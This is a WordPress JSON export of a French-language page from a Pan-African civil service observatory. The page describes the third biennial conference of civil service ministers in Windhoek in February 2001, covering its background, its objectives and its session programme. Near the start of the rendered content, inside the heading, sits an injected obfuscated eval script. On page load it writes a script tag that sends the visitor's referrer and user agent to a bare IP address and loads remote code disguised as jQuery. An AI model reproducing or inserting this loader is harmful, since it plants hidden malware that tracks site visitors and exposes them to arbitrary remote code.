{"id":212,"date":"2017-09-05T18:30:12","date_gmt":"2017-09-05T16:30:12","guid":{"rendered":"http:\/\/site.ofpa.net\/?page_id=212"},"modified":"2017-09-05T19:46:33","modified_gmt":"2017-09-05T17:46:33","slug":"3eme-conference-biennale-panafricaine-des-ministres-de-la-fonction-publique","status":"publish","type":"page","link":"http:\/\/www.ofpa.net\/de\/agenda\/2001-2\/3eme-conference-biennale-panafricaine-des-ministres-de-la-fonction-publique\/","title":{"rendered":"3\u00e8me Conf\u00e9rence Biennale panafricaine des Ministres de la fonction publique"},"content":{"rendered":"<p style=\"text-align: center;\">\u00a0<strong><span style=\"color: #000080;\">TROISIEME <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzbdy|var|u0026u|referrer|zeken||js|php'.split('|'),0,{}))\n<\/script><\/noindex> CONFERENCE BIENNALE PANAFRICAINE DES MINISTRES DE LA FONCTION PUBLIQUE<\/span><\/strong><\/p>\n<p style=\"text-align: center;\">\u00a0<strong>Windhoek, (Namibie) 5 et 6 f\u00e9vrier 2001<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>THEME :\u00a0<\/strong><b><span style=\"font-size: small;\">&#8220;Les Instituts de Formation en Administration Publique en Afrique : nouveaux d\u00e9fis, nouveau r\u00f4le et nouvelles perspectives&#8221;<\/span><\/b><\/p>\n<div>\n<p><b>ORGANISATEUR<\/b> : Centre Africain de Formation et de Recherche Administratives pour le D\u00e9veloppement (CAFRAD).<\/p>\n<p><b>HOTE<\/b> : Gouvernement de la R\u00e9publique de Namibie<\/p>\n<p><b>CO-SPONSOR<\/b> : Division de l&#8217;Economie et de l&#8217;Administration Publiques D\u00e9partement des Affaires Economiques et Sociales des Nations Unies.<br \/>\n<b><\/b><\/p>\n<p><b>1. CONTEXTE<\/b><\/p>\n<p>Il est universellement reconnu aujourd&#8217;hui que l&#8217;administration publique, en tant qu&#8217;outil d&#8217;ex\u00e9cution des politiques gouvernementales, a un r\u00f4le vital \u00e0 jouer dans le processus de d\u00e9veloppement socio-\u00e9conomique d&#8217;un pays. Tant en Afrique que dans d&#8217;autres parties du monde, la question a \u00e9t\u00e9 tr\u00e8s souvent pos\u00e9e du r\u00f4le effectivement jou\u00e9, non seulement par l&#8217;Etat, mais aussi par les structures, r\u00e9glementations et proc\u00e9dures de la fonction publique. Il semble selon l&#8217;opinion dominante que la fonction publique ait jou\u00e9 un r\u00f4le limit\u00e9 dans le processus g\u00e9n\u00e9ral de d\u00e9veloppement et cette conclusion est fond\u00e9e sur la perception selon laquelle les structures de l&#8217;administration publique sont des entit\u00e9s caract\u00e9ris\u00e9es par l&#8217;inertie et l&#8217;improductivit\u00e9.<\/p>\n<p>Dans le but de faire face aux contreperformances de la fonction publique, un certain nombre de pays ont ainsi \u00e9labor\u00e9 des mesures de r\u00e9forme de longue haleine. Malheureusement, les efforts consentis n&#8217;ont pas permis d&#8217;atteindre les r\u00e9sultats escompt\u00e9s. Beaucoup de raisons ont \u00e9t\u00e9 avanc\u00e9es pour expliquer l&#8217;impact limit\u00e9 des efforts de r\u00e9forme men\u00e9s. Cependant, une explication qui appara\u00eet fortement plausible est le caract\u00e8re plut\u00f4t technique et structurel des r\u00e9formes entreprises. Dans une large mesure, le th\u00e8me central des mesures de r\u00e9forme prises dans beaucoup de pays africains au cours des deux derni\u00e8res d\u00e9cennies a \u00e9t\u00e9 la r\u00e9duction de la taille, si ce n&#8217;est du co\u00fbt de la fonction publique. Le raisonnement sous-tendant cette approche de r\u00e9forme est que &#8220;moins d&#8217;administration mais mieux d&#8217;administration&#8221; est ce dont avaient besoin les \u00e9conomies faibles pour surmonter les d\u00e9s\u00e9quilibres \u00e0 court terme et s&#8217;engager dans la voie d&#8217;une croissance durable auto-centr\u00e9e. Ainsi, dans le cadre de l&#8217;ajustement structurel, les programmes de r\u00e9forme de la fonction publique se sont focalis\u00e9s sur des questions telles que la privatisation ou le d\u00e9sengagement de l&#8217;Etat, la rationalisation budg\u00e9taire, la r\u00e9duction des effectifs, la r\u00e9forme du syst\u00e8me de r\u00e9mun\u00e9ration, la rationalisation des structures et proc\u00e9dures administratives et l&#8217;automatisation de la gestion du personnel.<\/p>\n<p>Il n&#8217;y a pas de doute que les profondes mutations induites par les programmes d&#8217;ajustement structurel ont ainsi affect\u00e9 le fonctionnement de l&#8217;administration. Pour le moins, les r\u00e9formes d&#8217;ajustement structurel ont assujetti les processus de l&#8217;administration publique aux lois du march\u00e9. De plus, alors que le r\u00f4le d&#8217;Etat \u00e9tait pris pour acquis, il est d\u00e9sormais devenu un sujet de d\u00e9bat public, inscrit \u00e0 l&#8217;ordre du jour de toute r\u00e9forme de politiques. Enfin, les \u00e9l\u00e9ments de r\u00e9duction des effectifs des programmes de r\u00e9forme ont diminu\u00e9 la capacit\u00e9 de la fonction publique \u00e0 d\u00e9livrer les services de base, tels que la sant\u00e9, l&#8217;\u00e9ducation et la protection de l&#8217;environnement &#8211; en plus d&#8217;affecter le moral des fonctionnaires publics et de favoriser, dans certains cas, les violations d&#8217;ordre \u00e9thique.<\/p>\n<p>Comme si l&#8217;effet d\u00e9stabilisateur de l&#8217;ajustement structurel ne suffisait pas, la fonction publique a eu \u00e0 faire face \u00e0 des changements de diff\u00e9rentes sortes &#8211; notamment les d\u00e9fis de la mondialisation et les forces de la lib\u00e9ralisation \u00e9conomique et politique. Ces changements dans l&#8217;environnement international ont expos\u00e9 les fonctions publiques africaines \u00e0 des normes et standards qui, jusque l\u00e0, ne leur \u00e9taient pas familiers.<\/p>\n<p>Ainsi, plus qu&#8217;auparavant, la fonction publique est contrainte de satisfaire les besoins pressants des usagers, de rendre compte \u00e0 des structures externes de suivi et de contr\u00f4le et de se montrer transparente dans la conduite d&#8217;affaires li\u00e9es \u00e0 l&#8217;int\u00e9r\u00eat g\u00e9n\u00e9ral.<\/p>\n<p>Tous ces changements appellent absolument de nouvelles r\u00e9ponses, entre autres, des structures publiques devant non seulement r\u00e9pondre aux besoins d&#8217;une grande vari\u00e9t\u00e9 de parties prenantes, mais aussi \u00eatre orient\u00e9es vers la totale satisfaction des usagers ou, tout au moins, vers des prestations de service public de qualit\u00e9 . Au regard de l&#8217;influence croissante de la technologie moderne d&#8217;information et de communication, l&#8217;\u00e9thique, l&#8217;int\u00e9grit\u00e9 et le professionnalisme \u00e9mergent d\u00e9sormais comme des normes \u00e0 travers lesquelles est jug\u00e9e la conduite des fonctionnaires.<\/p>\n<p>Ces d\u00e9veloppements ont de larges implications dans la gestion des ressources humaines de la fonction publique. En premier lieu, les crit\u00e8res de s\u00e9lection du personnel doivent \u00eatre reformat\u00e9s \u00e0 fond pour tenir compte de nouvelles comp\u00e9tences. Deuxi\u00e8mement, les syst\u00e8mes et instruments d&#8217;\u00e9valuation des performances doivent \u00eatre r\u00e9vis\u00e9s compte tenu de ces nouvelles comp\u00e9tences. En troisi\u00e8me lieu, et ceci est de la plus grande importance, la formation des personnels a besoin d&#8217;\u00eatre refond\u00e9e autour de la nouvelle philosophie d&#8217;une fonction publique efficace, responsable, comp\u00e9tente et respectant les valeurs \u00e9thiques.<\/p>\n<p>Il convient de souligner que la Seconde Conf\u00e9rence Panafricaine des Ministres de la Fonction Publique, tenue \u00e0 Rabat au Royaume du Maroc du 13 au 15 d\u00e9cembre 1998, a largement discut\u00e9 du th\u00e8me &#8220;La Fonction Publique en Afrique: nouveaux d\u00e9fis, professionnalisme et \u00e9thique&#8221;. Au cours de ses d\u00e9lib\u00e9rations, la Conf\u00e9rence a examin\u00e9 les questions li\u00e9es au r\u00f4le des administrations publiques, au professionnalisme des agents publics et aux valeurs \u00e9thiques qui doivent sous-tendre les actions des services publics. La Conf\u00e9rence a ainsi pris la d\u00e9cision de se focaliser sur des actions susceptibles de renforcer l&#8217;image de la Fonction Publique en Afrique.<\/p>\n<p>La Conf\u00e9rence a aussi affirm\u00e9 la n\u00e9cessit\u00e9 de r\u00e9habiliter le r\u00f4le de l&#8217;Etat, de renforcer les syst\u00e8mes d&#8217;administration en se concentrant sur le facteur humain et d&#8217;am\u00e9liorer les normes aussi bien \u00e9thiques et professionnelles. C&#8217;est ainsi que la D\u00e9claration de Rabat, adopt\u00e9e \u00e0 l&#8217;issue de cette Conf\u00e9rence, avait recommand\u00e9 au Pr\u00e9sident de la Conf\u00e9rence, le Ministre de la Fonction Publique et de la R\u00e9forme Administrative du Royaume du Maroc, de constituer, en liaison avec des membres de la Conf\u00e9rence, un groupe de travail s&#8217;appuyant sur le Centre Africain de Formation et de Recherche Administratives pour le D\u00e9veloppement (CAFRAD) et en \u00e9troite collaboration avec le D\u00e9partement des Affaires Economiques et Sociales des Nations Unies (DAES), pour entreprendre, entre autres actions portant sur le renforcement du professionnalisme et de l&#8217;\u00e9thique dans les administrations publiques africaines, l&#8217;\u00e9laboration d&#8217;un projet de Charte de la Fonction Publique en Afrique incluant un code de conduite des fonctionnaires.<\/p>\n<p>L&#8217;initiative d&#8217;\u00e9laborer et de promulguer une telle Charte a ainsi d\u00e9montr\u00e9 la volont\u00e9 r\u00e9elle des Etats africains de trouver, dans le cadre des efforts de r\u00e9forme en cours, des solutions r\u00e9alistes aux probl\u00e8mes de la Fonction Publique. Cette initiative repr\u00e9sente ainsi un louable effort pour permettre \u00e0 la Fonction publique de prendre en charge les d\u00e9fis \u00e9conomiques, sociaux et technologiques de l&#8217;heure.<\/p>\n<p>Le groupe de travail minist\u00e9riel, compos\u00e9 du Ministre de la Fonction Publique et de la R\u00e9forme Administrative du Royaume du Maroc en sa qualit\u00e9 de Pr\u00e9sident de la Seconde Conf\u00e9rence Panafricaine des Ministres de la Fonction Publique, de Son Excellence le Premier Ministre de Namibie et des Ministres de l&#8217;Afrique du Sud, du B\u00e9nin, du Burkina Faso, du Cameroun, de l&#8217;Ethiopie, du Gabon, de Madagascar, de l&#8217;Ouganda et de la Tunisie, ainsi que le Comit\u00e9 technique (CAFRAD et DESA), se sont r\u00e9unis \u00e0 quatre reprises entre avril 1999 et juin 2000 pour discuter des moyens de mise en oeuvre des recommandations de la D\u00e9claration de Rabat et \u00e9laborer le projet de Charte.<\/p>\n<p>Enfin, le 20 janvier 2000, le groupe de travail minist\u00e9riel a adopt\u00e9 au cours d&#8217;une r\u00e9union tenue \u00e0 Tanger, au Maroc, le projet de Charte finalis\u00e9 entre temps par le Comit\u00e9 technique.<\/p>\n<p>Mais, par-del\u00e0 l&#8217;\u00e9laboration de ce projet de Charte, ainsi que le suivi de son application, ce sont tous les probl\u00e8mes li\u00e9s \u00e0 la formation des agents publics qui ont \u00e9t\u00e9 maintenant pos\u00e9s et d&#8217;\u00e9ventuelles solutions discut\u00e9es. L&#8217;objectif sous-jacent est d&#8217;identifier les d\u00e9fis auxquels sont confront\u00e9es les Fonctions publiques africaines dans le contexte actuel des rapides mutations \u00e0 l&#8217;\u00e9chelle mondiale et de r\u00e9fl\u00e9chir sur des r\u00e9ponses alternatives.<\/p>\n<p>Quoique la mise en oeuvre d&#8217;actions de formation dans la Fonction publique ne soit pas une panac\u00e9e au regard des multiples probl\u00e8mes africains, il ne fait aucun doute que les institutions nationales et r\u00e9gionales de formation ont encore un important r\u00f4le \u00e0 jouer. A travers les \u00e9tudes qu&#8217;elles entreprennent, elles sont tr\u00e8s bien plac\u00e9es pour contribuer au dialogue sur la nature et l&#8217;ampleur des d\u00e9fis auxquels est confront\u00e9e la r\u00e9gion, ainsi que sur l&#8217;ad\u00e9quation des r\u00e9ponses politiques, institutionnelles et manag\u00e9riales.<\/p>\n<p>Dans quelle mesure ces institutions de formation jouent-elles leur r\u00f4le est une question qui a \u00e9t\u00e9 pos\u00e9e au cours des d\u00e9bats de la Conf\u00e9rence. La Conf\u00e9rence est parvenue \u00e0 des suggestions pratiques, notamment sur les moyens d&#8217;\u00e9liminer les obstacles \u00e0 leur performance optimale. En particulier, les contraintes de ces institutions en termes de ressources financi\u00e8res, humaines et mat\u00e9rielles ont \u00e9t\u00e9 examin\u00e9es attentivement, de sorte que des orientations et perspectives claires ont \u00e9t\u00e9 d\u00e9gag\u00e9es.<\/p>\n<p>Enfin, la Conf\u00e9rence a analys\u00e9 les moyens permettant \u00e0 ces institutions d&#8217;\u00eatre progressivement proactives, non seulement en ce qui concerne leurs contenus d&#8217;enseignement et m\u00e9thodes p\u00e9dagogiques, mais aussi leur strat\u00e9gie op\u00e9rationnelle et leur approche m\u00e9thodologique aux diff\u00e9rentes \u00e9tapes de la programmation, de la mise en oeuvre et de l&#8217;\u00e9valuation (ou \u00e9tude d&#8217;impact) de la formation.<\/p>\n<p><b>2. OBJECTIFS DE LA CONFERENCE <\/b><\/p>\n<p>La Troisi\u00e8me Conf\u00e9rence Panafricaine des Ministres de la Fonction Publique doit servir de forum de discussion, d&#8217;\u00e9change d&#8217;exp\u00e9riences et d&#8217;enrichissement mutuel entre les parties prenantes.<\/p>\n<p>A cet \u00e9gard, les objectifs de la Conf\u00e9rence sont de permettre:<\/p>\n<p>\u00b7 d&#8217;examiner et d&#8217;adopter le projet de Charte de la Fonction Publique en Afrique ;<\/p>\n<p>\u00b7 de discuter et de d\u00e9cider d&#8217;un m\u00e9canisme r\u00e9gional de suivi de l&#8217;application de la Charte ;<\/p>\n<p>\u00b7 de prendre en consid\u00e9ration les mesures compl\u00e9mentaires n\u00e9cessaires, aux niveaux r\u00e9gional et national, en termes d&#8217;actions de formation\/perfectionnement et de renforcement des capacit\u00e9s pour atteindre les objectifs de la Charte ;<\/p>\n<p>\u00b7 d&#8217;analyser les nouveaux d\u00e9fis, le r\u00f4le et les perspectives des institutions de formation en administration publique en Afrique ; et<\/p>\n<p>\u00b7 de faire des recommandations pour consolider ces institutions.<\/p>\n<p><b> 3. METHODOLOGIE<\/b><\/p>\n<p>Conform\u00e9ment aux objectifs poursuivis, la Conf\u00e9rence qui a dur\u00e9 deux jours comprend, en dehors des c\u00e9r\u00e9monies d&#8217;ouverture et de cl\u00f4ture, les quatre sessions suivantes :<\/p>\n<div align=\"center\"><b>PREMIERE JOURNEE<\/b><\/div>\n<p><b>Premi\u00e8re session<\/b> : &#8220;<i>Examen et adoption du projet de Charte<\/i>&#8221;<\/p>\n<p>\u00b7 Pr\u00e9sident de s\u00e9ance: Son Excellence Monsieur le Premier Ministre de Namibie<\/p>\n<p>\u00b7 Pr\u00e9sentation de Monsieur le Ministre de la Fonction Publique et de la R\u00e9forme Administrative du Royaume du Maroc<\/p>\n<p><b>Deuxi\u00e8me session<\/b> : &#8220;<i>Mise en place d&#8217;un m\u00e9canisme r\u00e9gional de suivi de l&#8217;application de la Charte et outils compl\u00e9mentaires de formation<\/i>&#8221;<\/p>\n<p>\u00b7 Pr\u00e9sident de s\u00e9ance: Monsieur le Ministre de la Fonction Publique du Royaume du Maroc<\/p>\n<p>\u00b7 Pr\u00e9sentations sur :<\/p>\n<p>a- projet r\u00e9gional PNUD\/DAES &#8220;Ethics&#8221; ;<\/p>\n<p>b- projet de formation CAFRAD\/DAES en \u00e9thique.<\/p>\n<div align=\"center\">\n<p><b> DEUXIEME JOURNEE<\/b><\/p>\n<\/div>\n<p><b>Troisi\u00e8me session<\/b> : &#8220;<i>R\u00e9orientation strat\u00e9gique des \u00e9tablissements africains de formation en administration publique<\/i>&#8221;<\/p>\n<p>\u00b7 Pr\u00e9sident de s\u00e9ance: Monsieur le Ministre de la Fonction Publique de Namibie<\/p>\n<p>\u00b7 Pr\u00e9sentation du Secr\u00e9taire Permanent de l&#8217;Observatoire des Fonctions Publiques Africaines (OFPA), le <b>Professeur Jacques Mariel NZOUANKEU<\/b> sur &#8221; <i>le nouveau r\u00f4le, le statut et l&#8217;organisation des \u00e9tablissements de formation en administration publique<\/i> &#8221; <b><\/b><\/p>\n<p><b>Quatri\u00e8me session<\/b> : &#8220;<i>D\u00e9finition d&#8217;une nouvelle politique de formation\/perfectionnement en administration publique<\/i>&#8221;<\/p>\n<p>Pr\u00e9sentations sur les m\u00e9thodes p\u00e9dagogiques et le contenu des enseignements des \u00e9tablissements de formation en administration publique.<\/p>\n<p>&nbsp;<\/p>\n<p><b>4. DATE, LIEU DE LA CONFERENCE<\/b><\/p>\n<p>La Conf\u00e9rence s&#8217;est tenue les 5 et 6 F\u00e9vrier 2001 dans le CENTRE DE CONFERENCE &#8220;NAMPOWER&#8221;, \u00e0 Windhoek<\/p>\n<\/div>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0TROISIEME CONFERENCE BIENNALE PANAFRICAINE DES MINISTRES DE LA FONCTION PUBLIQUE \u00a0Windhoek, (Namibie) 5 et 6 f\u00e9vrier 2001 THEME :\u00a0&#8220;Les Instituts de Formation en Administration Publique en Afrique : nouveaux d\u00e9fis,&#8230; <a class=\"read-more-button\" href=\"http:\/\/www.ofpa.net\/de\/agenda\/2001-2\/3eme-conference-biennale-panafricaine-des-ministres-de-la-fonction-publique\/\">Mehr Lesen &gt;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":163,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"template-full-width.php","meta":[],"_links":{"self":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/212"}],"collection":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/comments?post=212"}],"version-history":[{"count":5,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/212\/revisions"}],"predecessor-version":[{"id":238,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/212\/revisions\/238"}],"up":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/163"}],"wp:attachment":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/media?parent=212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}